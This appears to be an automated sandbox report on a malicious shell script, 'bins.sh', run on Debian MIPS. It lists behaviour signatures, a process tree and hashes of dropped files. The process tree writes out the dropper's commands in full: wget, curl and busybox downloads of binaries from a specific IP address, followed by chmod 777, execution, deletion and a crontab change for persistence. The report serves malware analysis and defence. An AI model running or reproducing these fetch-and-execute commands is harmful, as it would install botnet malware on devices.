Analysis

  • max time kernel
    122s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    07/11/2024, 11:07

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241107-m8f7ps1erm
  • SHA256 31726b2c81c0bb80f99a8fe50b2b7f5b12de23e20af9821fed4c4caa2c2ca52f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1543) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          ./vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            ./AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
            • Executes dropped EXE
            PID:750
          • /bin/rm
            rm AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
            2⤵
              PID:754
            • /usr/bin/wget
              wget http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Writes file to tmp directory
              PID:755
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Writes file to tmp directory
              PID:789
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Writes file to tmp directory
              PID:798
            • /bin/chmod
              chmod 777 HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • File and Directory Permissions Modification
              PID:799
            • /tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              ./HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
              • Executes dropped EXE
              PID:800
            • /bin/rm
              rm HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
              2⤵
                PID:802
              • /usr/bin/wget
                wget http://216.126.231.240/bins/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                • Writes file to tmp directory
                PID:803
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:804
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/chmod
                chmod 777 vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                • File and Directory Permissions Modification
                PID:806
              • /tmp/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                ./vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:807
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:809
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:810
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:811
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:812
                  • /bin/rm
                    rm vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                    2⤵
                      PID:820
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                      2⤵
                        PID:825
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                        2⤵
                          PID:867
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                          2⤵
                          • Writes file to tmp directory
                          PID:909
                        • /bin/chmod
                          chmod 777 HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                          2⤵
                          • File and Directory Permissions Modification
                          PID:923
                        • /tmp/HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                          ./HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                          2⤵
                          • Executes dropped EXE
                          PID:925
                        • /bin/rm
                          rm HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                          2⤵
                            PID:933
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                            2⤵
                              PID:934
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                              2⤵
                                PID:936
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                                2⤵
                                • Writes file to tmp directory
                                PID:939
                              • /bin/chmod
                                chmod 777 91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                                2⤵
                                • File and Directory Permissions Modification
                                PID:946
                              • /tmp/91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                                ./91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                                2⤵
                                • Executes dropped EXE
                                PID:947
                              • /bin/rm
                                rm 91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                                2⤵
                                  PID:949
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                  2⤵
                                    PID:950
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    2⤵
                                    • Reads runtime system information
                                    PID:951
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:952
                                  • /bin/chmod
                                    chmod 777 9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:957
                                  • /tmp/9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    ./9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    2⤵
                                    • Executes dropped EXE
                                    PID:958
                                  • /bin/rm
                                    rm 9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                    2⤵
                                      PID:960
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                      2⤵
                                        PID:961
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                        2⤵
                                        • Reads runtime system information
                                        PID:966
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:967
                                      • /bin/chmod
                                        chmod 777 80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:971
                                      • /tmp/80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                        ./80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                        2⤵
                                        • Executes dropped EXE
                                        PID:972
                                      • /bin/rm
                                        rm 80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                        2⤵
                                          PID:974
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3
                                          2⤵
                                            PID:975
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/LMVmDAe41mxc7DKOA5qF7Jy8vpDpWTjIC3
                                            2⤵
                                              PID:976

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf

                                                • Path /tmp/80NHOo8L2GDKAVCjG0J6br1TwJb8ZmltBf
                                                • Size 99KB
                                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                • MD5 SHA1 SHA512 SSDEEP

                                                91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX

                                                • Path /tmp/91nSpT1Y91U90HdFdCXTvP8EFHB5kPMREX
                                                • Size 127KB
                                                • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                • MD5 SHA1 SHA512 SSDEEP

                                                9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt

                                                • Path /tmp/9Ksh4IBEU9UfjFKa3NLMq3fn4nAJxdeijt
                                                • Size 107KB
                                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                • MD5 SHA1 SHA512 SSDEEP

                                                AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw

                                                • Path /tmp/AqOsb3hj8dgiZDtI2hpr43M9SqrJudqzDw
                                                • Size 111KB
                                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                • MD5 SHA1 SHA512 SSDEEP

                                                HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm

                                                • Path /tmp/HFGzpyLnHzGxEDSB9jpiIf8q9pZByOqnxm
                                                • Size 112KB
                                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                • MD5 SHA1 SHA512 SSDEEP

                                                HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk

                                                • Path /tmp/HLRlG8Xt1DDbY9slAGw0veMPqnWTqYN3kk
                                                • Size 151KB
                                                • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                • MD5 SHA1 SHA512 SSDEEP

                                                vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC

                                                • Path /tmp/vARuo7nceaIZt59iW4Ol5JRbjiBM8xv7RC
                                                • Size 151KB
                                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                • MD5 SHA1 SHA512 SSDEEP

                                                vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD

                                                • Path /tmp/vhhSqQSwPZFconKscI7KWcaDLBdLmQNjfD
                                                • Size 111KB
                                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                • MD5 SHA1 SHA512 SSDEEP

                                                tmp.U2ROBL

                                                • Path /var/spool/cron/crontabs/tmp.U2ROBL
                                                • Size 210B
                                                • SHA256 8024065b34891db555afb0f4d88e157aa905ce48c61ee9cba2aa6b062508f417
                                                • MD5 SHA1 SHA512